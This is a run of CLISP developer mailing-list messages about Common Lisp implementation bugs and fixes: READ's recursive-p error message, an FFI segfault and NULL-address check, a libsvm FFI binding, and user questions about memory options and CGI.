+  TheFfunction(ffun)->ff_name = STACK_(4+1);
    TheFfunction(ffun)->ff_address = STACK_0;
    TheFfunction(ffun)->ff_resulttype = TheSvector(fvd)->data[1];
    TheFfunction(ffun)->ff_argtypes = TheSvector(fvd)->data[2];



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Sam Steingold wrote:
> here is the fix, please try it.
> ...

Thanks! All is work now.

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Yaroslav Kavenchuk schrieb:
> Sam Steingold wrote:
>> here is the fix, please try it.
>> ...
> 
> Thanks! All is work now.

Problem verified for cygwin also.
Sam's fix ditto.
Thanks to both!
Please commit the onliner.

before:
$ full/lisp -q -ansi -E 1:1 -M full/lispinit.mem -norc \
   -x '(win32:GetStdHandle win32:STD_OUTPUT_HANDLE)'
Segmentation fault (core dumped)

after:
$ full/lisp -q -ansi -E 1:1 -M full/lispinit.mem -norc \
   -x '(win32:GetStdHandle win32:STD_OUTPUT_HANDLE)'
#<FOREIGN-ADDRESS #x0000001F>


BTW: -lintl detection is now much better than before. I didn't have to 
manually fix the LIBS line to remove duplicate -lintl's.
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Consider the following code:

========================
;;; -*- Mode:Lisp; Syntax: Common-lisp; Package: produit-radar; Base:10; Lowercase: Yes -*-

#+sbcl (sb-ext:without-package-locks 
	(setq SB-IMPL::*READ-BUFFER-LENGTH* 8000
	      SB-IMPL::*READ-BUFFER* 
	      (make-array `(,SB-IMPL::*READ-BUFFER-LENGTH*) 
			  :element-type 'character)))

(defclass <Precalcul> ()
  ((compo :initarg :compo
	  :type <Carte-raster>)
   (result :initarg :result
	   :type (array fixnum 3))))

(defun print-dim (s arr i dims &rest ind)
  (format s "(")
  (dotimes (k (elt dims i))
    (if (not (= i (- (length dims) 1)))
	(apply #'print-dim s arr (+ i 1) dims (cons k ind))
	(format s "~s" (apply #'aref arr (reverse (cons k ind)))))
    (unless (= (+ k 1) (elt dims i))
      (format s " ")))
  (format s ")"))

(defun print-array (s arr)
  (let ((dims (array-dimensions arr)))
    (format s "#~dA" (length dims))
    (print-dim s arr 0 dims)))

(defmethod print-object ((instance <Precalcul>) s)
  (with-standard-io-syntax
    (format s "#Z(:compo ~s "
	    (slot-value instance 'compo))
    (format s ":result ")
    ;; car l'impression des tableaux ne semble pas standardisee
    (print-array s (slot-value instance 'result))
    (format s ")~%" )))

(set-dispatch-macro-character #\# #\Z        ;; dispatch on #Z (#Y used by clisp)
    #'(lambda(s c n)
        (apply #'make-instance '<Precalcul> (read s t nil t))))

(defclass <Projection> ()
  ((handle)
   (init-param)))

(defmethod initialize-instance ((instance <Projection>) &rest initargs
				&key &allow-other-keys)
  (setf (slot-value instance 'handle) 'bogus
	(slot-value instance 'init-param) initargs)
  instance)

(defmethod print-object ((instance <Projection>) s)
  (format s "#W~s" (slot-value instance 'init-param)))

(set-dispatch-macro-character #\# #\W        ;; dispatch on #W
    #'(lambda(s c n)
        (apply #'make-instance '<Projection> (read s t nil t))))

(defclass <Carte-raster> ()
  ((projection :initarg :projection)))

(defmethod print-object ((instance <Carte-raster>) s)
  (format s "#X(:projection ~s)" 
	  (slot-value instance 'projection)))

(set-dispatch-macro-character #\# #\X        ;; dispatch on #X
    #'(lambda(s c n)
        (apply #'make-instance '<Carte-raster> (read s t nil t))))

(setq proj (make-instance '<Projection> :proj "stere"))

(setq carte (make-instance '<Carte-raster> :projection proj))

(setq arr (make-array '(3 4 2) :element-type '(unsigned-byte 8) :initial-element 0))

(setq preca (make-instance '<Precalcul> :compo carte :result arr))

(with-open-file (s "data" :direction :output :if-exists :supersede)
  (format s "~s~%" preca))

(with-open-file (s "data")
  (setq res (read s t nil #+clisp nil #-clisp t)))

========================

The third argument recursive-p to read is from CLHS "expected" to be t
when called from set-dispatch-macro-character. I had it true also in
the upper level read in the last line, and clisp-2.38 failed with that
value giving an error message:

*** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been
arbitrarily altered 
The following restarts are available:
ABORT          :R1      ABORT

I am unsure if it should trigger an error, and even if yes, it is not
very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is
not described in the doc, you have to look the source code in io.d to
find reference to it).

Notice that cmucl gives the same result for all values of recursive-p.
sbcl also, but you have to add the #+sbcl thing at the beginning for
the t value.

Regards.

-- 

Bernard Urban



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Bernard Urban writes:
>=20
> Consider the following code:
> [...]
> The third argument recursive-p to read is from CLHS "expected" to be t
> when called from set-dispatch-macro-character. I had it true also in
> the upper level read in the last line, and clisp-2.38 failed with that
> value giving an error message:
>=20
> *** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been
> arbitrarily altered=20
> The following restarts are available:
> ABORT          :R1      ABORT
>=20
> I am unsure if it should trigger an error, and even if yes, it is not
> very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is
> not described in the doc, you have to look the source code in io.d to
> find reference to it).

When you call read from the top level, you must set recursive-p to NIL.

If you set it to something else, anything can happen, including the
above error.

Setting recursive-p to NIL tells the lisp reader to reinitialize the
read-reference-table.  If you don't set it to NIL, it doesn't get
reinitialized, and you get whatever garbage remained there.


> Notice that cmucl gives the same result for all values of recursive-p.
> sbcl also, but you have to add the #+sbcl thing at the beginning for
> the t value.

Any implementation can work differently when you invoke undefined behavio=
r.


--=20
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this has been around for a year.
is anyone using it?

> * Sam Steingold <fqf@tah.bet> [2005-08-05 15:57:13 -0400]:
>
> CLISP SLIME users might want to grab CLISP cvs head and nag SLIME
> developers to use it too:
> (documentation 'symbol 'sys::file)
> now returns a list of (file start-line end-line).
> file = file where the symbol was defined
> start-line and end-line are the locations in the file.
> note that when file is "foo.fas",
> line numbers should still point to "file.lisp"!
>
> if the slime users & developers are happy with this, this functionality
> will be exported (i.e., EXT:FILE instead or SYS::FILE).
>
> comments are welcome.

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Sam Steingold wrote:
> this has been around for a year.
> is anyone using it?
> 
>> * Sam Steingold <fqf@tah.bet> [2005-08-05 15:57:13 -0400]:
>>
>> CLISP SLIME users might want to grab CLISP cvs head and nag SLIME
>> developers to use it too:
>> (documentation 'symbol 'sys::file)
>> now returns a list of (file start-line end-line).
>> file = file where the symbol was defined
>> start-line and end-line are the locations in the file.
>> note that when file is "foo.fas",
>> line numbers should still point to "file.lisp"!

I use it, as do all other CLISP SLIME users who use M-.
(slime-edit-definition).  From swank-clisp.lisp:

(defun fspec-pathname (symbol)
  (let ((path (documentation symbol 'sys::file))
        lines)
    (when (consp path)
      (psetq path (car path)
             lines (cdr path)))
    (when (and path
               (member (pathname-type path)
                       custom:*compiled-file-types* :test #'equal))
      (setq path
            (loop for suffix in custom:*source-file-types*
               thereis (probe-file (make-pathname :defaults path
                                                  :type suffix)))))
    (values path lines)))

On a personal note, I greatly appreciate this information being available.

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Pascal Bourguignon <pjb@informatimago.com> writes:

> Bernard Urban writes:
>> 
>> Consider the following code:
>> [...]
>> The third argument recursive-p to read is from CLHS "expected" to be t
>> when called from set-dispatch-macro-character. I had it true also in
>> the upper level read in the last line, and clisp-2.38 failed with that
>> value giving an error message:
>> 
>> *** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been
>> arbitrarily altered 
>> The following restarts are available:
>> ABORT          :R1      ABORT
>> 
>> I am unsure if it should trigger an error, and even if yes, it is not
>> very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is
>> not described in the doc, you have to look the source code in io.d to
>> find reference to it).
>
> When you call read from the top level, you must set recursive-p to NIL.
                                             ^^^^
If the wording of CLHS had been so affirmative, I would have lost less
time on that problem. In the beginning I also missed section 23.1.3.2 
which explains things a bit more.

I find the clisp error message still a bit harsh when compared to the
self-explanatory one you obtain with say (/ 0).

Best regards.

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Bernard Urban wrote:
> Pascal Bourguignon <pjb@informatimago.com> writes:
> 
>> Bernard Urban writes:
>>> Consider the following code:
>>> [...]
>>> The third argument recursive-p to read is from CLHS "expected" to be t
>>> when called from set-dispatch-macro-character. I had it true also in
>>> the upper level read in the last line, and clisp-2.38 failed with that
>>> value giving an error message:
>>>
>>> *** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been
>>> arbitrarily altered 
>>> The following restarts are available:
>>> ABORT          :R1      ABORT
>>>
>>> I am unsure if it should trigger an error, and even if yes, it is not
>>> very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is
>>> not described in the doc, you have to look the source code in io.d to
>>> find reference to it).
>> When you call read from the top level, you must set recursive-p to NIL.
>                                              ^^^^
> If the wording of CLHS had been so affirmative, I would have lost less
> time on that problem. In the beginning I also missed section 23.1.3.2 
> which explains things a bit more.
> 
> I find the clisp error message still a bit harsh when compared to the
> self-explanatory one you obtain with say (/ 0).

does this patch make the message better?  (it's against CVS head)

--- io.d	11 Sep 2006 06:01:06 -0400	1.296
+++ io.d	11 Sep 2006 11:06:10 -0400	
@@ -2223,6 +2223,14 @@
           GETTEXT("~S: the value of ~S has been arbitrarily altered to 
~S"));
  }

+local object check_read_reference_table (void) {
+  var object val = Symbol_value(S(read_reference_table));
+  if (boundp(val)) return val;
+  pushSTACK(S(read)); pushSTACK(S(read_reference_table));
+  pushSTACK(TheSubr(subr_self)->name);
+  fehler(error,GETTEXT("~S: symbol ~S is not bound, it appears that 
top-level ~S was called with a non-NIL recursive-p argument"));
+}
+
  /* UP: disentangles #n# - References to #n= - markings in an Object.
   > value of SYS::*READ-REFERENCE-TABLE*:
       Alist of Pairs (marking . marked Object), where
@@ -2230,7 +2238,7 @@
   > obj: Object
   < result: destructively modified Object without References */
  local object make_references (object obj) {
-  var object alist = Symbol_value(S(read_reference_table));
+  var object alist = check_read_reference_table();
    # SYS::*READ-REFERENCE-TABLE* = NIL -> nothing to do:
    if (nullp(alist)) {
      return obj;
@@ -3652,7 +3660,7 @@
    }
    # n is an Integer >=0.
    var object alist = # value of SYS::*READ-REFERENCE-TABLE*
-    Symbol_value(S(read_reference_table));
+    check_read_reference_table();
    # Execute (assoc n alist :test #'read-label-equal):
    var bool smallp = small_read_label_integer_p(n);
    var object label = (smallp ? 
make_small_read_label(posfixnum_to_V(n)) : nullobj);


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Bernard Urban writes:
> Pascal Bourguignon <pjb@informatimago.com> writes:
>=20
> > Bernard Urban writes:
> >>=20
> >> Consider the following code:
> >> [...]
> >> The third argument recursive-p to read is from CLHS "expected" to be=
 t
> >> when called from set-dispatch-macro-character. I had it true also in
> >> the upper level read in the last line, and clisp-2.38 failed with th=
at
> >> value giving an error message:
> >>=20
> >> *** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been
> >> arbitrarily altered=20
> >> The following restarts are available:
> >> ABORT          :R1      ABORT
> >>=20
> >> I am unsure if it should trigger an error, and even if yes, it is no=
t
> >> very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is
> >> not described in the doc, you have to look the source code in io.d t=
o
> >> find reference to it).
> >
> > When you call read from the top level, you must set recursive-p to NI=
L.
>                                              ^^^^
> If the wording of CLHS had been so affirmative, I would have lost less
> time on that problem. In the beginning I also missed section 23.1.3.2=20
> which explains things a bit more.

Yes, CLHS is terse, rather informal, and somewhat underspecifies.

Other material come handy to understand better CLHS and make its exegesis=
,
like tutorials, historic implementations and manuals from CL implementati=
ons.


> I find the clisp error message still a bit harsh when compared to the
> self-explanatory one you obtain with say (/ 0).

Perhaps you could provide a patch?


However, it seems to be difficult to distinguish between a toplevel
call and a possibly recursive call, since we may do non-recursive read
from recursive reads.

For example: (read-from-string "(a b #I\"/some/file.lisp\" c d)")
Assuming a #I reader macro that would (non-recursively) read the file,
and return some or all forms read from it.


So I think the only thing we can do is to add a suggestion in the
error message, like: "did you call a READ function with recursive-p
set to T for a top-level read?"  when it is a recusive read.

--=20
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Sam Steingold writes:
> Bernard Urban wrote:
> >> When you call read from the top level, you must set recursive-p to N=
IL.
> >                                             ^^^^
> > If the wording of CLHS had been so affirmative, I would have lost les=
s
> > time on that problem. In the beginning I also missed section 23.1.3.2=
=20
> > which explains things a bit more.
> >=20
> > I find the clisp error message still a bit harsh when compared to the
> > self-explanatory one you obtain with say (/ 0).
>=20
> does this patch make the message better?  (it's against CVS head)

Already done!  Thank you :-)

--=20
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Pascal Bourguignon wrote:
> Sam Steingold writes:
>> Bernard Urban wrote:
>>>> When you call read from the top level, you must set recursive-p to NIL.
>>>                                             ^^^^
>>> If the wording of CLHS had been so affirmative, I would have lost less
>>> time on that problem. In the beginning I also missed section 23.1.3.2 
>>> which explains things a bit more.
>>>
>>> I find the clisp error message still a bit harsh when compared to the
>>> self-explanatory one you obtain with say (/ 0).
>> does this patch make the message better?  (it's against CVS head)
> 
> Already done!  Thank you :-)
> 

for the record:
my message was not "already done" but
"does this patch make the message better?"
there is no promise that the patch will be committed into the CVS.
please test it and see if it makes things better.
thanks.


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thanks for your bug report.
please file a new self-contained bug report with a reproducible test 
case at http://sourceforge.net/tracker/?func=add&group_id=1355&atid=101355
you might also want to look at
http://clisp.cons.org/impnotes/faq.html#faq-help
http://clisp.cons.org/impnotes/clisp.html#bugs

root wrote:
> I seem to have run into a bug in clisp.
> 
> I have a function that converts an string to a byte array.
> I hand it a string of hex characters and these are converted
> into byte hex strings.
> 
> (defun string-to-byte-array (bytestring)
>  (let (stack result)
>   (do ((p 0))
>       ((>= p (length bytestring)) nil)
>    (multiple-value-setq (m n)
>     (parse-integer bytestring :start p :radix 16 :junk-allowed t))
>    (when m (push m stack))
>    (setf p n))
>   (setq result 
>    (make-array (length stack) :element-type 'unsigned-byte
>                               :initial-contents (nreverse stack)))
>   (format t "string-to-byte-array ~a ~a ~a~%" (type-of result)
>    (length bytestring) (length result))
>   result))
> 
> This works fine for small strings. However I have a string that
> is roughly 92000 bytes it creates a simple-vector of roughly 30000 bytes.
> 
> The actual output of the format function is:
>   
>   string-to-byte-array (SIMPLE-VECTOR 30720) 92159 30720
> 
> I cannot use either svref or aref on the result because CLISP
> complains that the result is not a SIMPLE-VECTOR.
> 
> t



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What's the meaning of "-m" option for CLISP? Based on the FAQ, it "sets 
the amount of memory CLISP" tries to grab on startup". So If I set the 
memory size to 3mb, then CLisp will just use 3mb to run the code? Or 
will it automatically increase memory size during the exection?

Thanks a ton!
-Lei



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Hi,
I am trying to write an FFI module interface to libsvm
http://www.csie.ntu.edu.tw/~cjlin/libsvm/
the untested code is appended for comments.
Specifically, why doesn't this work:

(defun alist-to-nodes (alist)
  ;; ((index . value) ...) -->
  ;; C [index;value]...[-1;*]
  (let* ((len (length alist))
         (ret (allocate-shallow 'svm_node :count (1+ len))))
    (with-c-place (v ret)
      (loop :for i :upfrom 0 :for (index . value) :in alist :do
        (setf (svm_node-index (element v i)) index
              (svm_node-value (element v i)) value))
      (setf (svm_node-index (element v len)) -1))
    (foreign-value ret)))

Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready?
I thing it would come handy in several functions in this module.
thanks.

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(defpackage "LIBSVM"
  (:modern t) (:use "CL" "FFI")
  (:shadowing-import-from "EXPORTING" #:def-c-enum #:def-c-struct
                          #:def-call-out #:def-c-type #:defun))
(in-package "LIBSVM")
(setf (documentation (find-package "LIBSVM") 'sys::impnotes) "libsvm")

(default-foreign-language :stdc)
(defconstant svm-so
  (namestring (merge-pathnames "svm.so" *load-pathname*)))
;;; types and constants

(def-c-struct svm_node (index int) (value double-float))
(def-c-struct svm_problem
  (l int)                                   ; number of records
  (y (c-array-ptr double-float))            ; of length l (targets)
  (x (c-array-ptr (c-array-ptr svm_node)))) ; of length l (predictors)
(def-c-enum svm_type C_SVC NU_SVC ONE_CLASS EPSILON_SVR NU_SVR)
(def-c-enum kernel_type LINEAR POLY RBF SIGMOID PRECOMPUTED)
(def-c-struct svm_parameter
  (svm_type int)
  (kernel_type int)
  (degree int)                  ; for poly
  (gamma double-float)          ; for poly/rbf/sigmoid
  (coef0 double-float)          ; for poly/sigmoid
  ;; these are for training only
  (cache_size double-float)     ; in MB
  (eps double-float)            ; stopping criteria
  (C double-float)              ; for C_SVC, EPSILON_SVR and NU_SVR
  (nr_weight int)               ; for C_SVC
  (weight_label (c-array-ptr int)) ; for C_SVC
  (weight (c-array-ptr double-float)) ; for C_SVC
  (nu double-float)                ; for NU_SVC, ONE_CLASS, and NU_SVR
  (P double-float)                 ; for EPSILON_SVR
  (shrinking int)                  ; use the shrinking heuristics
  (probability int))               ; do probability estimates

(def-c-type svm_model c-pointer)

(def-call-out svm_train (:library svm-so)
  (:arguments (problem (c-ptr svm_problem)) (param (c-ptr svm_parameter)))
  (:return-type svm_model))

(ffi:def-call-out %svm_cross_validation (:name "svm_cross_validation")
  (:arguments (problem (c-ptr svm_problem)) (param (c-ptr svm_parameter))
              (nr_fold int) (target c-pointer))
  (:return-type nil) (:library svm-so))
(defun svm_cross_validation (problem param nr_fold)
  (with-foreign-object (target `(c-array double-float ,(svm_problem-l problem)))
    (%svm_cross_validation problem param nr_fold (foreign-address target))
    (foreign-value target)))

(def-call-out svm_save_model (:library svm-so)
  (:arguments (model_file_name c-string) (model svm_model))
  (:return-type int))
(def-call-out svm_load_model (:library svm-so)
  (:arguments (model_file_name c-string))
  (:return-type svm_model))

(def-call-out svm_get_svm_type (:library svm-so)
  (:arguments (model svm_model))
  (:return-type int))
(def-call-out svm_get_nr_class (:library svm-so)
  (:arguments (model svm_model))
  (:return-type int))
(ffi:def-call-out %svm_get_labels (:library svm-so) (:name "svm_get_labels")
  (:arguments (model svm_model) (label c-pointer))
  (:return-type nil))
(defun svm_get_labels (model)
  (with-foreign-object (label `(c-array int ,(svm_get_nr_class model)))
    (%svm_get_labels model (foreign-address label))
    (foreign-value label)))
(def-call-out svm_get_svr_probability (:library svm-so)
  (:arguments (model svm_model))
  (:return-type double-float))

(ffi:def-call-out %svm_predict_values1 (:name "svm_predict_values")
  (:arguments (model svm_model) (x (c-array-ptr svm_node))
              (dec_values (c-ptr double-float) :out))
  (:return-type nil) (:library svm-so))
(ffi:def-call-out %svm_predict_values2 (:name "svm_predict_values")
  (:arguments (model svm_model) (x (c-array-ptr svm_node))
              (dec_values c-pointer))
  (:return-type nil) (:library svm-so))
(defun svm_predict_values (model x)
  (case (svm_get_svm_type model)
    ((ONE_CLASS EPSILON_SVR NU_SVR)
     (%svm_predict_values1 model x))
    (t (let* ((nr_class (svm_get_nr_class model))
              (len (/ (* nr_class (1- nr_class)) 2)))
         (with-foreign-object (dec_values `(c-array double-float ,len))
           (%svm_predict_values2 model x (foreign-address dec_values))
           (foreign-value dec_values))))))

(def-call-out svm_predict (:library svm-so)
  (:arguments (model svm_model) (x (c-ptr svm_node)))
  (:return-type double-float))
(ffi:def-call-out %svm_predict_probability (:name "svm_predict_probability")
  (:arguments (model svm_model) (x (c-array-ptr svm_node))
              (prob_estimates c-pointer))
  (:return-type double-float) (:library svm-so))
(defun svm_predict_probability (model x)
  (with-foreign-object (prob_estimates `(c-array int ,(svm_get_nr_class model)))
    (%svm_predict_probability model x (foreign-address prob_estimates))
    (foreign-value prob_estimates)))

(def-call-out svm_destroy_model (:library svm-so)
  (:arguments (model svm_model)) (:return-type nil))
(def-call-out svm_destroy_param (:library svm-so)
  (:arguments (param (c-ptr svm_parameter))) (:return-type nil))

(def-call-out svm_check_parameter (:library svm-so)
  (:arguments (problem (c-ptr svm_problem)) (param (c-ptr svm_parameter)))
  (:return-type c-string))
(def-call-out svm_check_probability_model (:library svm-so)
  (:arguments (model svm_model))
  (:return-type int))

;;; high-level helpers
(defun alist-to-nodes (alist)
  ;; ((index . value) ...) -->
  ;; C [index;value]...[-1;*]
  (let* ((len (length alist))
         (ret (allocate-shallow 'svm_node :count (1+ len))))
    (with-c-place (v ret)
      (loop :for i :upfrom 0 :for (index . value) :in alist :do
        (setf (svm_node-index (element v i)) index
              (svm_node-value (element v i)) value))
      (setf (svm_node-index (element v len)) -1))
    (foreign-value ret)))

(pushnew :libsvm *features*)
(provide "libsvm")
(pushnew "LIBSVM" custom:*system-package-list* :test #'string=)
(setf (ext:package-lock "LIBSVM") t)


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Sam Steingold <sds@gnu.org> writes:

[...]

> does this patch make the message better?  (it's against CVS head)
>
> --- io.d	11 Sep 2006 06:01:06 -0400	1.296
> +++ io.d	11 Sep 2006 11:06:10 -0400	
> @@ -2223,6 +2223,14 @@
>            GETTEXT("~S: the value of ~S has been arbitrarily altered
> to ~S"));
>   }
>
> +local object check_read_reference_table (void) {
> +  var object val = Symbol_value(S(read_reference_table));
> +  if (boundp(val)) return val;
> +  pushSTACK(S(read)); pushSTACK(S(read_reference_table));
> +  pushSTACK(TheSubr(subr_self)->name);
> +  fehler(error,GETTEXT("~S: symbol ~S is not bound, it appears that
> top-level ~S was called with a non-NIL recursive-p argument"));
> +}
> +
>   /* UP: disentangles #n# - References to #n= - markings in an Object.
>    > value of SYS::*READ-REFERENCE-TABLE*:
>        Alist of Pairs (marking . marked Object), where
> @@ -2230,7 +2238,7 @@
>    > obj: Object
>    < result: destructively modified Object without References */
>   local object make_references (object obj) {
> -  var object alist = Symbol_value(S(read_reference_table));
> +  var object alist = check_read_reference_table();
>     # SYS::*READ-REFERENCE-TABLE* = NIL -> nothing to do:
>     if (nullp(alist)) {
>       return obj;
> @@ -3652,7 +3660,7 @@
>     }
>     # n is an Integer >=0.
>     var object alist = # value of SYS::*READ-REFERENCE-TABLE*
> -    Symbol_value(S(read_reference_table));
> +    check_read_reference_table();
>     # Execute (assoc n alist :test #'read-label-equal):
>     var bool smallp = small_read_label_integer_p(n);
>     var object label = (smallp ?
> make_small_read_label(posfixnum_to_V(n)) : nullobj);
>

Sorry for the delay testing this patch; but yes, it works (against CVS
from 18 September, be sure to augment the offset when patching) and
gives a perfect error message !

Thanks.

-- 

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Lei Tang writes:
> What's the meaning of "-m" option for CLISP? Based on the FAQ, it "sets=
=20
> the amount of memory CLISP" tries to grab on startup". So If I set the=20
> memory size to 3mb, then CLisp will just use 3mb to run the code? Or=20
> will it automatically increase memory size during the exection?

It will automatically increase memory size during the execution.

-m is basically useless nowadays, at least on Linux where it's ignored.

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Lei Tang wrote:
> What's the meaning of "-m" option for CLISP? Based on the FAQ, it "sets 
> the amount of memory CLISP" tries to grab on startup". So If I set the 
> memory size to 3mb, then CLisp will just use 3mb to run the code? Or 
> will it automatically increase memory size during the exection?

it's useful to tell CLISP that it will be needing a lot of memory.
see also <http://clisp.cons.org/impnotes/faq.html#faq-stack>:

	If you really do need more Lisp stack, you can increase
	it by telling CLISP to pre-allocate more memory



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Sam Steingold wrote:
> I am trying to write an FFI module interface to libsvm
> http://www.csie.ntu.edu.tw/~cjlin/libsvm/
> the untested code is appended for comments.
> Specifically, why doesn't this work:
> 
> (defun alist-to-nodes (alist)
>   ;; ((index . value) ...) -->
>   ;; C [index;value]...[-1;*]
>   (let* ((len (length alist))
>          (ret (allocate-shallow 'svm_node :count (1+ len))))
>     (with-c-place (v ret)
>       (loop :for i :upfrom 0 :for (index . value) :in alist :do
>         (setf (svm_node-index (element v i)) index
>               (svm_node-value (element v i)) value))
>       (setf (svm_node-index (element v len)) -1))
>     (foreign-value ret)))
> 
> Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready?
> I thing it would come handy in several functions in this module.

I fixed alist-to-nodes, but I don't see a way to put its return value 
into an svm_problem, i.e., how to convert a foreign variable that points 
to a #(c-array double-float 4) into something that that would fit into a 
  slot of type #(c-array-ptr double-float):

(def-c-struct svm_problem
   (l int)                                   ; number of records
   (y (c-array-ptr double-float))            ; of length l (targets)
   (x (c-array-ptr (c-array-ptr svm_node)))) ; of length l (predictors)
(defun alist-to-nodes (alist)
   ;; ((index . value) ...) -->
   ;; C [index;value]...[-1;*]
   (let* ((len (length alist))
          (ret (allocate-shallow 'svm_node :count (1+ len))))
     (with-c-place (v ret)
       (loop :for i :upfrom 0 :for (index . value) :in alist :do
         (setf (slot (element v i) 'index) index
               (slot (element v i) 'value) value))
       (setf (slot (element v len) 'index) -1))
     ret))

(defun list-to-vector (list)
   (let* ((len (length list)) (ret (allocate-shallow 'double-float 
:count len)))
     (with-c-place (v ret)
       (loop :for i :upfrom 0 :for value :in list :do
         (setf (element v i) value)))
     ret))

(defun load-problem (file &key (out *standard-output*))
   ;; load the problem object from a standard libsvm/svmlight problem file;
   ;; target index:value ...
   (let ((len 0) y x)
     (with-open-file (in file)
       (when out
         (format out "~&;; ~S(~S): ~:D byte~:P..."
                 'load-problem file (file-length in))
         (force-output out))
       (loop :for line = (read-line in nil nil) :while line
         :unless (or (zerop (length line)) (char= #\# (aref line 0))) :do
         (incf len)
         (multiple-value-bind (target pos) (read-from-string line)
           (push (coerce target 'double-float) y)
           (push
            (loop :with index :and value
              :for colon = (position #\: line :start pos) :while colon :do
              (multiple-value-setq (index pos)
                (parse-integer line :start pos :end colon))
              (multiple-value-setq (value pos)
                (read-from-string line t nil :start (1+ colon)))
              :collect (cons (coerce index 'integer)
                             (coerce value 'double-float)))
            x)))
       (when out (format out "~:D record~:P~%" len)))
     (let ((ret (allocate-shallow 'svm_problem)))
       (setf (slot (foreign-value ret) 'l) len
             (slot (foreign-value ret) 'y) (list-to-vector (nreverse y)) 
; FIXME
             (slot (foreign-value ret) 'x) (alist-to-nodes (nreverse 
x))) ; FIXME
       ret)))




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>              (slot (foreign-value ret) 'y) (list-to-vector (nreverse y)) 
> ; FIXME
>              (slot (foreign-value ret) 'x) (alist-to-nodes (nreverse 
> x))) ; FIXME

when I write

(setf (slot (foreign-value ret) 'y) (foreign-value (list-to-vector 
(nreverse y))))
instead, I get a segfault:
Program received signal SIGSEGV, Segmentation fault.
0x0818584d in DF_to_c_double (obj={one_o = 562168454}, val_=0x0)
     at flo_konv.d:598
598         val_->eksplicit = val;
(gdb) p val
$1 = {mlo = 0, semhi = 1072693248}
(gdb) p val_
$2 = (dfloatjanus *) 0x0
(gdb) up
#1  0x081b8f77 in convert_to_foreign (fvd={one_o = 136721950}, obj=
       {one_o = 562168454}, data=0x0, converter_malloc=0x81bb1fc <nomalloc>)
     at foreign.d:1968
1968          DF_to_c_double(obj,pdata);
(gdb) list
1963          FF_to_c_float(obj,pdata);
1964          return;
1965        } else if (eq(fvd,S(double_float))) {
1966          var dfloatjanus* pdata = (dfloatjanus*) data;
1967          if (!double_float_p(obj)) goto bad_obj;
1968          DF_to_c_double(obj,pdata);
1969          return;
1970        } else if (eq(fvd,S(boolean))) {
1971          var int* pdata = (int*)data;
1972          if (nullp(obj))
(gdb) p data
$3 = (void *) 0x0

clearly, there should be a check for NULL data, at least this:

--- foreign.d	08 Sep 2006 06:01:08 -0400	1.158
+++ foreign.d	19 Sep 2006 14:56:41 -0400	
@@ -19,6 +19,12 @@
    fehler(error,GETTEXT("~S: argument is not a foreign object: ~S"));
  }

+/* complain about NULL address */
+nonreturning_function(local, fehler_null, (object fvd, object obj)) {
+  pushSTACK(fvd); pushSTACK(obj); pushSTACK(TheSubr(subr_self)->name);
+  fehler(error,GETTEXT("~S: trying to write object ~S of type ~S into 
NULL address"));
+}
+
  /* Allocate a foreign address.
   make_faddress(base,offset)
   > base: base address
@@ -1850,6 +1856,7 @@
  global maygc void convert_to_foreign (object fvd, object obj, void* data,
                                        converter_malloc_t converter_malloc)
  {
+  if (NULL == data) fehler_null(fvd,obj);
    check_SP();
    check_STACK();
    if (symbolp(fvd)) {

Jorg?



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Hoehle, Joerg-Cyril wrote:
> Will wrote:
>> (ffi:def-c-struct system_variables
>>   (n ffi:int)
>>   (vals (ffi:c-array-ptr ffi:double-float))
>>   (dot_vals (ffi:c-array-ptr ffi:double-float)))
>> However, (setf (system_variables-n sys_var) 3) fails to 
>> actually change the value of n.
> 
> Please try (setf (slot sys_var 'n) 3)
> 
> The C struct is not changed because (seft system_variables-n) operates solely on the CLOS instance.  What happens is that the C-struct is converted once to a Lisp object.  From then on you are in the Lisp world. Changes are not reflected to the C world.
> 
> To affect the C world, you must strictly stick to the concept of foreign places.
> sys_var denotes a place
> (ffi:slot sys_var) denotes a place
> (identity sys_var) denotes a CLOS instance, converted from the foreign struct
> (system_variables-n sys_var) denotes a Lisp object, similarly.

clisp docs must be lying then (slot-value is equivalent to 
system_variables-n):

Example 31.2. external C variable and some accesses

struct bar {
     short x, y;
     char a, b;
     int z;
     struct bar * n;
};

extern struct bar * my_struct;

my_struct->x++;
my_struct->a = 5;
my_struct = my_struct->n;

corresponds to

(def-c-struct bar
   (x short)
   (y short)
   (a char)
   (b char) ; or (b character) if it represents a character, not a number
   (z int)
   (n (c-ptr bar)))

(def-c-var my_struct (:type (c-ptr bar)))

(setq my_struct (let ((s my_struct)) (incf (slot-value s 'x)) s))
or (incf (slot my_struct 'x))
(setq my_struct (let ((s my_struct)) (setf (slot-value s 'a) 5) s))
or (setf (slot my_struct 'a) 5)
(setq my_struct (slot-value my_struct 'n))
or (setq my_struct (deref (slot my_struct 'n)))



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My program, which tries to solve a problem in large search space, just 
failed. I use lisp in a box. The only ouput is Evaluation aborted after 
a long time run. I guess there's some bug with the code, but it works 
fine for  smaller scenario.   So I am wondering whether or not there's 
any constraint to run the lisp code in CLISP? Just in case.

Thanks!
-Lei



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Lei Tang wrote:
> My program, which tries to solve a problem in large search space, just 
> failed. I use lisp in a box. The only ouput is Evaluation aborted after 
> a long time run. I guess there's some bug with the code, but it works 
> fine for  smaller scenario.   So I am wondering whether or not there's 
> any constraint to run the lisp code in CLISP? Just in case.

there are no artificial constraints or limitations in CLISP.
please see http://clisp.cons.org/impnotes/clisp.html#bugs
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    5. Please supply the full output (copy and paste) of all the error 
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Hello everyone,

anyone have any experience running lisp code as CGI?
I'm about to start hosting a website for computational
linguistics on my own server (WinXP, Apache2 - not
ideal, I've been told on numerous occasions, but
that's another point), and I need to let users try out
my lisp programs through the browser window. I would
imagine that it's a matter of letting the server
software know where the interpreter is and how to
recognise lisp files as CGI scripts, like e.g. Perl
and PHP. How much do I need to know about the
internals of Apache etc. to get something like this up
and running? Can I use PHP or Perl as intermediaries? 

I'm also curious as to whether lisp-as-CGI
